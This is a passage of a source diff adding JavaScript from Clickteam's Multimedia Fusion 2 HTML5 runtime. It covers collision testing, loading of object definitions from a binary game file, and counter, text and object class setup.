+ return mask.testMask(xx, yy, htFoot, mask2, this.x, this.y, 0);
+ }
+ return false;
+ },
+ testRect: function (x1, y1, x2, y2)
+ {
+ var flags;
+ var mask;
+
+ switch (this.type)
+ {
+ case 0:
+ if (this.obstacleType == COC.OBSTACLE_PLATFORM)
+ {
+ var yTop = this.y;
+ var yBottom = this.y + Math.min(this.height, CRunFrame.HEIGHT_PLATFORM);
+ if (yTop < y2 && yBottom > y1)
+ {
+ return true;
+ }
+ return false;
+ }
+ return true;
+ case 1:
+ if (this.colBox != 0)
+ {
+ return true;
+ }
+ flags = CMask.GCMF_OBSTACLE;
+ if (this.obstacleType == COC.OBSTACLE_PLATFORM)
+ {
+ flags = CMask.GCMF_PLATFORM;
+ }
+ mask = this.imageUsed.getMask(flags, 0, 1.0, 1.0);
+ return mask.testRect2(this.x, this.y, 0, x1, y1, x2, y2, 0);
+ case 11:
+ if (this.colBox != 0)
+ {
+ return true;
+ }
+ flags = CMask.GCMF_OBSTACLE;
+ if (this.obstacleType == COC.OBSTACLE_PLATFORM)
+ {
+ flags = CMask.GCMF_PLATFORM;
+ }
+ mask = this.imageUsed.getMask(flags, 0, 1.0, 1.0);
+ return mask.testRect2(this.x, this.y, 0, x1, y1, x2, y2, 0);
+ }
+ return false;
+ },
+ testPoint: function (x1, y1)
+ {
+ var flags;
+ var mask;
+
+ switch (this.type)
+ {
+ case 0:
+ if (this.obstacleType == COC.OBSTACLE_PLATFORM)
+ {
+ var yTop = y + this.height - CRunFrame.HEIGHT_PLATFORM;
+ var yBottom = this.y + this.height;
+ if (y1 >= yTop && y1 < yBottom)
+ {
+ return true;
+ }
+ return false;
+ }
+ return true;
+ case 1:
+ if (this.colBox != 0)
+ {
+ return true;
+ }
+ flags = CMask.GCMF_OBSTACLE;
+ if (this.obstacleType == COC.OBSTACLE_PLATFORM)
+ {
+ flags = CMask.GCMF_PLATFORM;
+ }
+ mask = this.imageUsed.getMask(flags, 0, 1.0, 1.0);
+ return mask.testPoint(this.x, this.y, x1, y1);
+ case 11:
+ if (this.colBox != 0)
+ {
+ return true;
+ }
+ flags = CMask.GCMF_OBSTACLE;
+ if (this.obstacleType == COC.OBSTACLE_PLATFORM)
+ {
+ flags = CMask.GCMF_PLATFORM;
+ }
+ mask = this.imageUsed.getMask(flags, 0, 1.0, 1.0);
+ return mask.testPoint(this.x, this.y, x1, y1);
+ }
+ return false;
+ }
+ }
+
+
+ // COI Object
+ // -------------------------------------------------------------
+ /* Copyright (c) 1996-2012 Clickteam
+ *
+ * This source code is part of the HTML5 exporter for Clickteam Multimedia Fusion 2.
+ *
+ * Permission is hereby granted to any person obtaining a legal copy
+ * of Clickteam Multimedia Fusion 2 to use or modify this source code for
+ * debugging, optimizing, or customizing applications created with
+ * Clickteam Multimedia Fusion 2.
+ * Any other use of this source code is prohibited.
+ *
+ * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+ * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+ * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+ * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+ * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
+ * FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS
+ * IN THE SOFTWARE.
+ */
+
+ COI.OILF_OCLOADED = 0x0001;
+ COI.OILF_ELTLOADED = 0x0002;
+ COI.OILF_TOLOAD = 0x0004;
+ COI.OILF_TODELETE = 0x0008;
+ COI.OILF_CURFRAME = 0x0010;
+ COI.OILF_TORELOAD = 0x0020;
+ COI.OILF_IGNORELOADONCALL = 0x0040;
+ COI.OIF_LOADONCALL = 0x0001;
+ COI.OIF_DISCARDABLE = 0x0002;
+ COI.OIF_GLOBAL = 0x0004;
+ COI.NUMBEROF_SYSTEMTYPES = 7;
+ COI.OBJ_PLAYER = -7;
+ COI.OBJ_KEYBOARD = -6;
+ COI.OBJ_CREATE = -5;
+ COI.OBJ_TIMER = -4;
+ COI.OBJ_GAME = -3;
+ COI.OBJ_SPEAKER = -2;
+ COI.OBJ_SYSTEM = -1;
+ COI.OBJ_BOX = 0;
+ COI.OBJ_BKD = 1;
+ COI.OBJ_SPR = 2;
+ COI.OBJ_TEXT = 3;
+ COI.OBJ_QUEST = 4;
+ COI.OBJ_SCORE = 5;
+ COI.OBJ_LIVES = 6;
+ COI.OBJ_COUNTER = 7;
+ COI.OBJ_RTF = 8;
+ COI.OBJ_CCA = 9;
+ COI.NB_SYSOBJ = 10;
+ COI.OBJ_PASTED = 11;
+ COI.OBJ_LAST = 10;
+ COI.KPX_BASE = 32;
+ COI.OIFLAG_QUALIFIER = 0x8000;
+
+ function COI()
+ {
+ this.oiHandle = 0;
+ this.oiType = 0;
+ this.oiFlags = 0;
+ this.oiInkEffect = 0;
+ this.oiInkEffectParam = 0;
+ this.oiName = null;
+ this.oiOC = null;
+ this.oiFileOffset = 0;
+ this.oiLoadFlags = 0;
+ this.oiLoadCount = 0;
+ this.oiCount = 0;
+ }
+ COI.prototype =
+ {
+ loadHeader: function (file)
+ {
+ this.oiHandle = file.readAShort();
+ this.oiType = file.readAShort();
+ this.oiFlags = file.readAShort();
+ file.skipBytes(2);
+ this.oiInkEffect = file.readAInt();
+ this.oiInkEffectParam = file.readAInt();
+ },
+ load: function (file)
+ {
+ file.seek(this.oiFileOffset);
+
+ switch (this.oiType)
+ {
+ case 0:
+ this.oiOC = new COCQBackdrop();
+ break;
+ case 1:
+ this.oiOC = new COCBackground();
+ break;
+ default:
+ this.oiOC = new CObjectCommon();
+ break;
+ }
+ this.oiOC.load(file, this.oiType);
+ this.oiLoadFlags = 0;
+ },
+ unLoad: function ()
+ {
+ this.oiOC = null;
+ },
+ enumElements: function (enumImages, enumFonts)
+ {
+ this.oiOC.enumElements(enumImages, enumFonts);
+ }
+ }
+
+ // COIList object
+ // ----------------------------------------------------------------------
+ function COIList()
+ {
+ this.oiMaxIndex = 0;
+ this.ois = 0;
+ this.oiMaxHandle = 0;
+ this.oiHandleToIndex = null;
+ this.oiToLoad = null;
+ this.oiLoaded = null;
+ this.currentOI = 0;
+ }
+ COIList.prototype =
+ {
+ preLoad: function (file)
+ {
+ // Alloue la table de OI
+ this.oiMaxIndex = file.readAInt();
+ this.ois = new Array(this.oiMaxIndex);
+
+ // Explore les chunks
+ var index;
+ this.oiMaxHandle = 0;
+ for (index = 0; index < this.oiMaxIndex; index++)
+ {
+ var chID = 0;
+ var chFlags;
+ var chSize;
+ var posEnd;
+ while (chID != 0x7F7F)
+ {
+ chID = file.readAShort();
+ chFlags = file.readAShort();
+ chSize = file.readAInt();
+ if (chSize == 0)
+ continue;
+ posEnd = file.getFilePointer() + chSize;
+
+ switch (chID)
+ {
+ case 0x4444:
+ this.ois[index] = new COI();
+ this.ois[index].loadHeader(file);
+ if (this.ois[index].oiHandle >= this.oiMaxHandle)
+ this.oiMaxHandle = (this.ois[index].oiHandle + 1);
+ break;
+ case 0x4445:
+ this.ois[index].oiName = file.readAString();
+ break;
+ case 0x4446:
+ this.ois[index].oiFileOffset = file.getFilePointer();
+ break;
+ }
+ file.seek(posEnd);
+ }
+ }
+
+ this.oiHandleToIndex = new Array(this.oiMaxHandle);
+ for (index = 0; index < this.oiMaxIndex; index++)
+ {
+ this.oiHandleToIndex[this.ois[index].oiHandle] = index;
+ }
+
+ this.oiToLoad = new Array(this.oiMaxHandle);
+ this.oiLoaded = new Array(this.oiMaxHandle);
+ var n;
+ for (n = 0; n < this.oiMaxHandle; n++)
+ {
+ this.oiToLoad[n] = 0;
+ this.oiLoaded[n] = 0;
+ }
+ },
+ getOIFromHandle: function (handle)
+ {
+ return this.ois[this.oiHandleToIndex[handle]];
+ },
+ getOIFromIndex: function (index)
+ {
+ return this.ois[index];
+ },
+ resetOICurrent: function ()
+ {
+ var n;
+ for (n = 0; n < this.oiMaxIndex; n++)
+ {
+ this.ois[n].oiFlags &= ~COI.OILF_CURFRAME;
+ }
+ },
+ setOICurrent: function (handle)
+ {
+ this.ois[this.oiHandleToIndex[handle]].oiFlags |= COI.OILF_CURFRAME;
+ },
+ getFirstOI: function ()
+ {
+ var n;
+ for (n = 0; n < this.oiMaxIndex; n++)
+ {
+ if ((this.ois[n].oiFlags & COI.OILF_CURFRAME) != 0)
+ {
+ this.currentOI = n;
+ return this.ois[n];
+ }
+ }
+ return null;
+ },
+ getNextOI: function ()
+ {
+ if (this.currentOI < this.oiMaxIndex)
+ {
+ var n;
+ for (n = this.currentOI + 1; n < this.oiMaxIndex; n++)
+ {
+ if ((this.ois[n].oiFlags & COI.OILF_CURFRAME) != 0)
+ {
+ this.currentOI = n;
+ return this.ois[n];
+ }
+ }
+ }
+ return null;
+ },
+
+ resetToLoad: function ()
+ {
+ var n;
+ for (n = 0; n < this.oiMaxHandle; n++)
+ {
+ this.oiToLoad[n] = 0;
+ }
+ },
+ setToLoad: function (n)
+ {
+ this.oiToLoad[n] = 1;
+ },
+ load: function (file)
+ {
+ var h;
+ for (h = 0; h < this.oiMaxHandle; h++)
+ {
+ if (this.oiToLoad[h] != 0)
+ {
+ if (this.oiLoaded[h] == 0 || (this.oiLoaded[h] != 0 && (this.ois[this.oiHandleToIndex[h]].oiLoadFlags & COI.OILF_TORELOAD) != 0))
+ {
+ this.ois[this.oiHandleToIndex[h]].load(file);
+ this.oiLoaded[h] = 1;
+ }
+ }
+ else
+ {
+ if (this.oiLoaded[h] != 0)
+ {
+ this.ois[this.oiHandleToIndex[h]].unLoad();
+ this.oiLoaded[h] = 0;
+ }
+ }
+ }
+ this.resetToLoad();
+ },
+ enumElements: function (enumImages, enumFonts)
+ {
+ var h;
+ for (h = 0; h < this.oiMaxHandle; h++)
+ {
+ if (this.oiLoaded[h] != 0)
+ {
+ this.ois[this.oiHandleToIndex[h]].enumElements(enumImages, enumFonts);
+ }
+ }
+ }
+ }
+
+ // COC object
+ // -------------------------------------------------------------------
+ COC.OBSTACLE_NONE = 0;
+ COC.OBSTACLE_SOLID = 1;
+ COC.OBSTACLE_PLATFORM = 2;
+ COC.OBSTACLE_LADDER = 3;
+ COC.OBSTACLE_TRANSPARENT = 4;
+ function COC()
+ {
+ }
+
+ // COCBackground object
+ // -------------------------------------------------------------------
+ function COCBackground()
+ {
+ this.ocImage = 0;
+ }
+ COCBackground.prototype =
+ {
+ load: function (file, type)
+ {
+ file.skipBytes(4); // ocDWSize
+ this.ocObstacleType = file.readAShort();
+ this.ocColMode = file.readAShort();
+ this.ocCx = file.readAInt();
+ this.ocCy = file.readAInt();
+ this.ocImage = file.readAShort();
+ },
+
+ enumElements: function (enumImages, enumFonts)
+ {
+ if (enumImages != null)
+ {
+ var num = enumImages.enumerate(this.ocImage);
+ if (num != -1)
+ {
+ this.ocImage = num;
+ }
+ }
+ }
+ }
+
+ // COCQBackdrop object
+ // ------------------------------------------------------------------
+ COCQBackdrop.LINEF_INVX = 0x0001;
+ COCQBackdrop.LINEF_INVY = 0x0002;
+ function COCQBackdrop()
+ {
+ this.ocBorderSize = 0;
+ this.ocBorderColor = 0;
+ this.ocShape = 0;
+ this.ocFillType = 0;
+ this.ocLineFlags = 0;
+ this.ocColor1 = 0;
+ this.ocColor2 = 0;
+ this.ocGradientFlags = 0;
+ this.ocImage = 0;
+ }
+ COCQBackdrop.prototype =
+ {
+ load: function (file, type)
+ {
+ file.skipBytes(4);
+ this.ocObstacleType = file.readAShort();
+ this.ocColMode = file.readAShort();
+ this.ocCx = file.readAInt();
+ this.ocCy = file.readAInt();
+ this.ocBorderSize = file.readAShort();
+ this.ocBorderColor = file.readAColor();
+ this.ocShape = file.readAShort();
+
+ this.ocFillType = file.readAShort();
+ if (this.ocShape == 1)
+ {
+ this.ocLineFlags = file.readAShort();
+ }
+ else
+ {
+ switch (this.ocFillType)
+ {
+ case 1:
+ this.ocColor1 = this.ocColor2 = file.readAColor();
+ break;
+ case 2:
+ this.ocColor1 = file.readAColor();
+ this.ocColor2 = file.readAColor();
+ this.ocGradientFlags = file.readAInt();
+ break;
+ case 3:
+ this.ocImage = file.readAShort();
+ break;
+ }
+ }
+ },
+
+ enumElements: function (enumImages, enumFonts)
+ {
+ if (this.ocFillType == 3)
+ {
+ if (enumImages != null)
+ {
+ var num = enumImages.enumerate(this.ocImage);
+ if (num != -1)
+ {
+ ocImage = num;
+ }
+ }
+ }
+ }
+ }
+
+ // CObjectCommon object
+ // -------------------------------------------------------------------
+ CObjectCommon.OEFLAG_DISPLAYINFRONT = 0x0001;
+ CObjectCommon.OEFLAG_BACKGROUND = 0x0002;
+ CObjectCommon.OEFLAG_BACKSAVE = 0x0004;
+ CObjectCommon.OEFLAG_RUNBEFOREFADEIN = 0x0008;
+ CObjectCommon.OEFLAG_MOVEMENTS = 0x0010;
+ CObjectCommon.OEFLAG_ANIMATIONS = 0x0020;
+ CObjectCommon.OEFLAG_TABSTOP = 0x0040;
+ CObjectCommon.OEFLAG_WINDOWPROC = 0x0080;
+ CObjectCommon.OEFLAG_VALUES = 0x0100;
+ CObjectCommon.OEFLAG_SPRITES = 0x0200;
+ CObjectCommon.OEFLAG_INTERNALBACKSAVE = 0x0400;
+ CObjectCommon.OEFLAG_SCROLLINGINDEPENDANT = 0x0800;
+ CObjectCommon.OEFLAG_QUICKDISPLAY = 0x1000;
+ CObjectCommon.OEFLAG_NEVERKILL = 0x2000;
+ CObjectCommon.OEFLAG_NEVERSLEEP = 0x4000;
+ CObjectCommon.OEFLAG_MANUALSLEEP = 0x8000;
+ CObjectCommon.OEFLAG_TEXT = 0x10000;
+ CObjectCommon.OEFLAG_DONTCREATEATSTART = 0x20000;
+ CObjectCommon.OEFLAG_DONTRESETANIMCOUNTER = 0x100000;
+ CObjectCommon.OCFLAGS2_DONTSAVEBKD = 0x0001;
+ CObjectCommon.OCFLAGS2_SOLIDBKD = 0x0002;
+ CObjectCommon.OCFLAGS2_COLBOX = 0x0004;
+ CObjectCommon.OCFLAGS2_VISIBLEATSTART = 0x0008;
+ CObjectCommon.OCFLAGS2_OBSTACLESHIFT = 4;
+ CObjectCommon.OCFLAGS2_OBSTACLEMASK = 0x0030;
+ CObjectCommon.OCFLAGS2_OBSTACLE_SOLID = 0x0010;
+ CObjectCommon.OCFLAGS2_OBSTACLE_PLATFORM = 0x0020;
+ CObjectCommon.OCFLAGS2_OBSTACLE_LADDER = 0x0030;
+ CObjectCommon.OCFLAGS2_AUTOMATICROTATION = 0x0040;
+ CObjectCommon.OCFLAGS2_INITFLAGS = 0x0080;
+ CObjectCommon.OEPREFS_BACKSAVE = 0x0001;
+ CObjectCommon.OEPREFS_SCROLLINGINDEPENDANT = 0x0002;
+ CObjectCommon.OEPREFS_QUICKDISPLAY = 0x0004;
+ CObjectCommon.OEPREFS_SLEEP = 0x0008;
+ CObjectCommon.OEPREFS_LOADONCALL = 0x0010;
+ CObjectCommon.OEPREFS_GLOBAL = 0x0020;
+ CObjectCommon.OEPREFS_BACKEFFECTS = 0x0040;
+ CObjectCommon.OEPREFS_KILL = 0x0080;
+ CObjectCommon.OEPREFS_INKEFFECTS = 0x0100;
+ CObjectCommon.OEPREFS_TRANSITIONS = 0x0200;
+ CObjectCommon.OEPREFS_FINECOLLISIONS = 0x0400;
+ CObjectCommon.prototype = COC;
+
+ function CObjectCommon()
+ {
+ this.ocOEFlags = 0;
+ this.ocQualifiers = null;
+ this.ocFlags2 = 0;
+ this.ocOEPrefs = 0;
+ this.ocIdentifier = 0;
+ this.ocBackColor = 0;
+ this.ocMovements = null;
+ this.ocValues = null;
+ this.ocStrings = null;
+ this.ocAnimations = null;
+ this.ocCounters = null;
+ this.ocObject = null;
+ this.ocExtension = 0;
+ this.ocVersion = 0;
+ this.ocID = 0;
+ this.ocPrivate = 0;
+ this.ocFadeIn = null;
+ this.ocFadeOut = null;
+ }
+ CObjectCommon.prototype =
+ {
+ load: function (file, type)
+ {
+ // Position de debut
+ var debut = file.getFilePointer();
+ this.ocQualifiers = new Array(8);
+
+ // Lis le header
+ var n;
+ file.skipBytes(4);
+ file.skipBytes(2); // var oMovements = file.readAShort();
+ var oData = file.readAShort(); // var oAnimations = file.readAShort();
+ file.skipBytes(2);
+ var oCounter = file.readAShort();
+ var oAnimations = file.readAShort(); // var oData = file.readAShort();
+ var oMovements = file.readAShort(); // file.skipBytes(2);
+ this.ocOEFlags = file.readAInt();
+ for (n = 0; n < 8; n++)
+ {
+ this.ocQualifiers[n] = file.readShort();
+ }
+ this.ocOEPrefs = file.readAShort(); // var oExtension = file.readAShort();
+ var oValues = file.readAShort();
+ var oStrings = file.readAShort();
+ this.ocFlags2 = file.readAShort();
+ var oExtension = file.readAShort(); // this.ocOEPrefs = file.readAShort();
+ this.ocIdentifier = file.readAInt();
+ this.ocBackColor = file.readAColor();
+ var oFadeIn = file.readAInt();
+ var oFadeOut = file.readAInt();
+ this.ocFadeIn = null;
+ this.ocFadeOut = null;
+
+ if (oMovements != 0)
+ {
+ file.seek(debut + oMovements);
+ this.ocMovements = new CMoveDefList();
+ this.ocMovements.load(file);
+ }
+ if (oValues != 0)
+ {
+ file.seek(debut + oValues);
+ this.ocValues = new CDefValues();
+ this.ocValues.load(file, (this.ocFlags2 & CObjectCommon.OCFLAGS2_INITFLAGS) != 0);
+ }
+ if (oStrings != 0)
+ {
+ file.seek(debut + oStrings);
+ this.ocStrings = new CDefStrings();
+ this.ocStrings.load(file);
+ }
+ if (oAnimations != 0)
+ {
+ file.seek(debut + oAnimations);
+ this.ocAnimations = new CAnimHeader();
+ this.ocAnimations.load(file);
+ }
+ if (oCounter != 0)
+ {
+ file.seek(debut + oCounter);
+ this.ocObject = new CDefCounter();
+ this.ocObject.load(file);
+ }
+ if (oExtension != 0)
+ {
+ file.seek(debut + oExtension);
+ var size = file.readAInt();
+ file.skipBytes(4);
+ this.ocVersion = file.readAInt();
+ this.ocID = file.readAInt();
+ this.ocPrivate = file.readAInt();
+ size -= 20;
+ if (size != 0)
+ {
+ this.ocExtension = file.getFilePointer();
+ }
+ }
+ if (oFadeIn != 0)
+ {
+ file.seek(debut + oFadeIn);
+ this.ocFadeIn = new CTransitionData();
+ this.ocFadeIn.load(file);
+ }
+ if (oFadeOut != 0)
+ {
+ file.seek(debut + oFadeOut);
+ this.ocFadeOut = new CTransitionData();
+ this.ocFadeOut.load(file);
+ }
+
+ if (oData != 0)
+ {
+ file.seek(debut + oData);
+ switch (type)
+ {
+ case 3:
+ case 4:
+ this.ocObject = new CDefTexts();
+ this.ocObject.load(file);
+ break;
+
+ case 5:
+ case 6:
+ case 7:
+ this.ocCounters = new CDefCounters();
+ this.ocCounters.load(file);
+ break;
+
+ case 8:
+ this.ocObject = new CDefRtf();
+ this.ocObject.load(file);
+ this.ocOEFlags &= ~(CObjectCommon.OEFLAG_SPRITES | CObjectCommon.OEFLAG_QUICKDISPLAY | CObjectCommon.OEFLAG_BACKSAVE);
+ break;
+ case 9: // OBJ_CCA
+ this.ocObject = new CDefCCA();
+ this.ocObject.load(file);
+ break;
+ }
+ }
+ },
+ enumElements: function (enumImages, enumFonts)
+ {
+ if (this.ocAnimations != null)
+ {
+ this.ocAnimations.enumElements(enumImages);
+ }
+ if (this.ocObject != null)
+ {
+ this.ocObject.enumElements(enumImages, enumFonts);
+ }
+ if (this.ocCounters != null)
+ {
+ this.ocCounters.enumElements(enumImages, enumFonts);
+ }
+ }
+ }
+
+ // CDefCCA object
+ // ---------------------------------------------------------
+ function CDefCCA()
+ {
+ this.odCx = 0;
+ this.odCy = 0;
+ this.odVersion = 0;
+ this.odNStartFrame = 0;
+ this.odOptions = 0;
+ this.odName = null;
+ }
+ CDefCCA.prototype =
+ {
+ load: function (file)
+ {
+ file.skipBytes(4);
+ this.odCx = file.readAInt();
+ this.odCy = file.readAInt();
+ this.odVersion = file.readAShort();
+ this.odNStartFrame = file.readAShort();
+ this.odOptions = file.readAInt();
+ file.skipBytes(4 + 4); // odFree+pad bytes
+ this.odName = file.readAString();
+ },
+ enumElements: function (enumImages, enumFonts)
+ {
+ }
+ }
+
+ // CDefCounter object
+ // ----------------------------------------------------------
+ function CDefCounter()
+ {
+ this.ctInit = 0;
+ this.ctMini = 0;
+ this.ctMaxi = 0;
+ }
+ CDefCounter.prototype =
+ {
+ load: function (file)
+ {
+ file.skipBytes(2);
+ this.ctInit = file.readAInt();
+ this.ctMini = file.readAInt();
+ this.ctMaxi = file.readAInt();
+ },
+ enumElements: function (enumImages, enumFonts)
+ {
+ }
+ }
+
+ // CDefCounters object
+ // --------------------------------------------------------------
+ CDefCounters.CTA_HIDDEN = 0;
+ CDefCounters.CTA_DIGITS = 1;
+ CDefCounters.CTA_VBAR = 2;
+ CDefCounters.CTA_HBAR = 3;
+ CDefCounters.CTA_ANIM = 4;
+ CDefCounters.CTA_TEXT = 5;
+ CDefCounters.BARFLAG_INVERSE = 0x0100;
+
+ function CDefCounters()
+ {
+ this.odCx = 0;
+ this.odCy = 0;
+ this.odPlayer = 0;
+ this.odDisplayType = 0;
+ this.odDisplayFlags = 0;
+ this.odFont = 0;
+ this.ocBorderSize = 0;
+ this.ocBorderColor = 0;
+ this.ocShape = 0;
+ this.ocFillType = 0;
+ this.ocLineFlags = 0;
+ this.ocColor1 = 0;
+ this.ocColor2 = 0;
+ this.ocGradientFlags = 0;
+ this.nFrames = 0;
+ this.frames = null;
+ }
+ CDefCounters.prototype =
+ {
+ load: function (file)
+ {
+ file.skipBytes(4);
+ this.odCx = file.readAInt();
+ this.odCy = file.readAInt();
+ this.odPlayer = file.readAShort();
+ this.odDisplayType = file.readAShort();
+ this.odDisplayFlags = file.readAShort();
+ this.odFont = file.readAShort();
+
+ switch (this.odDisplayType)
+ {
+ case 0:
+ break;
+ case 1:
+ case 4:
+ this.nFrames = file.readAShort();
+ this.frames = new Array(this.nFrames);
+ var n;
+ for (n = 0; n < this.nFrames; n++)
+ {
+ this.frames[n] = file.readAShort();
+ }
+ break;
+ case 2:
+ case 3:
+ case 5:
+ this.ocBorderSize = file.readAShort();
+ this.ocBorderColor = file.readAColor();
+ this.ocShape = file.readAShort();
+ this.ocFillType = file.readAShort();
+ if (this.ocShape == 1)
+ this.ocLineFlags = file.readAShort();
+ else
+ {
+ switch (this.ocFillType)
+ {
+ case 1:
+ this.ocColor1 = file.readAColor();
+ break;
+ case 2:
+ this.ocColor1 = file.readAColor();
+ this.ocColor2 = file.readAColor();
+ this.ocGradientFlags = file.readAInt();
+ break;
+ case 3:
+ break;
+ }
+ }
+ break;
+ }
+ },
+
+ enumElements: function (enumImages, enumFonts)
+ {
+ var num;
+ switch (this.odDisplayType)
+ {
+ case 1:
+ case 4:
+ var n;
+ for (n = 0; n < this.nFrames; n++)
+ {
+ if (enumImages != null)
+ {
+ num = enumImages.enumerate(this.frames[n]);
+ /* if (num!=-1)
+ {
+ this.frames[n]=num;
+ }
+ */
+ }
+ }
+ break;
+ case 5:
+ if (enumFonts != null)
+ {
+ num = enumFonts.enumerate(this.odFont);
+ /* if (num!=-1)
+ {
+ this.odFont=num;
+ }
+ */
+ }
+ break;
+ }
+ }
+ }
+
+ // CDefRtf object
+ // ----------------------------------------------------------
+ function CDefRtf()
+ {
+ this.odDWSize = 0;
+ this.odVersion = 0;
+ this.odOptions = 0;
+ this.odBackColor = 0;
+ this.odCx = 0;
+ this.odCy = 0;
+ this.text = null;
+ }
+ CDefRtf.prototype =
+ {
+ load: function (file)
+ {
+ this.odDWSize = file.readAInt();
+ this.odVersion = file.readAInt();
+ this.odOptions = file.readAInt();
+ this.odBackColor = file.readAColor();
+ this.odCx = file.readAInt();
+ this.odCy = file.readAInt();
+
+ file.skipBytes(4);
+ var size = file.readAInt();
+ this.text = file.readAString(size);
+ },
+ enumElements: function (enumImages, enumFonts)
+ {
+ }
+ }
+
+ // CDefText object
+ // -------------------------------------------------------------------
+ CDefText.TSF_LEFT = 0x0000;
+ CDefText.TSF_HCENTER = 0x0001;
+ CDefText.TSF_RIGHT = 0x0002;
+ CDefText.TSF_VCENTER = 0x0004;
+ CDefText.TSF_HALIGN = 0x000F;
+ CDefText.TSF_CORRECT = 0x0100;
+ CDefText.TSF_RELIEF = 0x0200;
+ function CDefText()
+ {
+ this.tsFont = 0;
+ this.tsFlags = 0;
+ this.tsColor = 0;
+ this.tsText = null;
+ }
+ CDefText.prototype =
+ {
+ load: function (file)
+ {
+ this.tsFont = file.readShort();
+ this.tsFlags = file.readAShort();
+ this.tsColor = file.readAColor();
+ this.tsText = file.readAString();
+ },
+ enumElements: function (enumImages, enumFonts)
+ {
+ if (enumFonts != null)
+ {
+ var num = enumFonts.enumerate(this.tsFont);
+ /* if (num!=-1)
+ {
+ this.tsFont=num;
+ }
+ */
+ }
+ }
+ }
+
+ // CDefTexts object
+ // -------------------------------------------------------------------
+ function CDefTexts()
+ {
+ this.otCx = 0;
+ this.otCy = 0;
+ this.otNumberOfText = 0;
+ this.otTexts = null;
+ }
+ CDefTexts.prototype =
+ {
+ load: function (file)
+ {
+ var debut = file.getFilePointer();
+ file.skipBytes(4); // Size
+ this.otCx = file.readAInt();
+ this.otCy = file.readAInt();
+ this.otNumberOfText = file.readAInt();
+
+ this.otTexts = new Array(this.otNumberOfText);
+ var offsets = new Array(this.otNumberOfText);
+ var n;
+ for (n = 0; n < this.otNumberOfText; n++)
+ {
+ offsets[n] = file.readAInt();
+ }
+ for (n = 0; n < this.otNumberOfText; n++)
+ {
+ this.otTexts[n] = new CDefText();
+ file.seek(debut + offsets[n]);
+ this.otTexts[n].load(file);
+ }
+ },
+ enumElements: function (enumImages, enumFonts)
+ {
+ var n;
+ for (n = 0; n < this.otNumberOfText; n++)
+ {
+ this.otTexts[n].enumElements(enumImages, enumFonts);
+ }
+ }
+ }
+
+ // CObject
+ // ----------------------------------------------------------------
+ /* Copyright (c) 1996-2012 Clickteam
+ *
+ * This source code is part of the HTML5 exporter for Clickteam Multimedia Fusion 2.
+ *
+ * Permission is hereby granted to any person obtaining a legal copy
+ * of Clickteam Multimedia Fusion 2 to use or modify this source code for
+ * debugging, optimizing, or customizing applications created with
+ * Clickteam Multimedia Fusion 2.
+ * Any other use of this source code is prohibited.
+ *
+ * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+ * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+ * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+ * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+ * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
+ * FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS
+ * IN THE SOFTWARE.
+ */
+
+ CObject.HOF_DESTROYED = 0x0001;
+ CObject.HOF_TRUEEVENT = 0x0002;
+ CObject.HOF_REALSPRITE = 0x0004;
+ CObject.HOF_FADEIN = 0x0008;
+ CObject.HOF_FADEOUT = 0x0010;
+ CObject.HOF_OWNERDRAW = 0x0020;
+ CObject.HOF_NOCOLLISION = 0x2000;
+ CObject.HOF_FLOAT = 0x4000;
+ CObject.HOF_STRING = 0x8000;
+ function CObject()
+ {
+ this.hoNumber = 0;
+ this.hoNextSelected = 0;
+ this.hoAdRunHeader = null;
+ this.hoHFII = 0;
+ this.hoOi = 0;
+ this.hoNumPrev = 0;
+ this.hoNumNext = 0;
+ this.hoType = 0;
+ this.hoCreationId = 0;
+ this.hoOiList = null;
+ this.hoEvents = 0;
+ this.hoPrevNoRepeat = null;
+ this.hoBaseNoRepeat = null;
+ this.hoMark1 = 0;
+ this.hoMark2 = 0;
+ this.hoMT_NodeName = null;
+ this.hoEventNumber = 0;
+ this.hoCommon = null;
+ this.hoCalculX = 0;
+ this.hoX = 0;
+ this.hoCalculY = 0;
+ this.hoY = 0;
+ this.hoImgXSpot = 0;
+ this.hoImgYSpot = 0;
+ this.hoImgWidth = 0;
+ this.hoImgHeight = 0;
+ this.hoOEFlags = 0;
+ this.hoFlags = 0;
+ this.hoSelectedInOR = 0;
+ this.hoOffsetValue = 0;
+ this.hoLayer = 0;
+ this.hoLimitFlags = 0;
+ this.hoNextQuickDisplay = 0;
+ this.hoCurrentParam = 0;
+ this.hoIdentifier = 0;
+ this.hoCallRoutine = false;
+ this.roc = null;
+ this.rom = null;
+ this.roa = null;
+ this.rov = null;
+ this.ros = null;
+ }
+ CObject.prototype =
+ {
+ setScale: function (fScaleX, fScaleY)
+ {
+ if (this.roc.rcScaleX != fScaleX || this.roc.rcScaleY != fScaleY)
+ {
+ if (fScaleX >= 0)
+ {
+ this.roc.rcScaleX = fScaleX;
+ }
+ if (fScaleY >= 0)
+ {
+ this.roc.rcScaleY = fScaleY;
+ }
+ this.roc.rcChanged = true;
+
+ var ifo = this.hoAdRunHeader.rhApp.imageBank.getImageInfoEx(this.roc.rcImage, this.roc.rcAngle, this.roc.rcScaleX, this.roc.rcScaleY);
+ this.hoImgWidth = ifo.width;
+ this.hoImgHeight = ifo.height;
+ this.hoImgXSpot = ifo.xSpot;
+ this.hoImgYSpot = ifo.ySpot;
+ }
+ },
+ shtCreate: function (p, x, y, dir)
+ {
+ var nLayer = this.hoLayer;
+ var num = this.hoAdRunHeader.f_CreateObject(p.cdpHFII, p.cdpOi, x, y, dir, CRun.COF_NOMOVEMENT | CRun.COF_HIDDEN, nLayer, -1);
+ if (num >= 0)
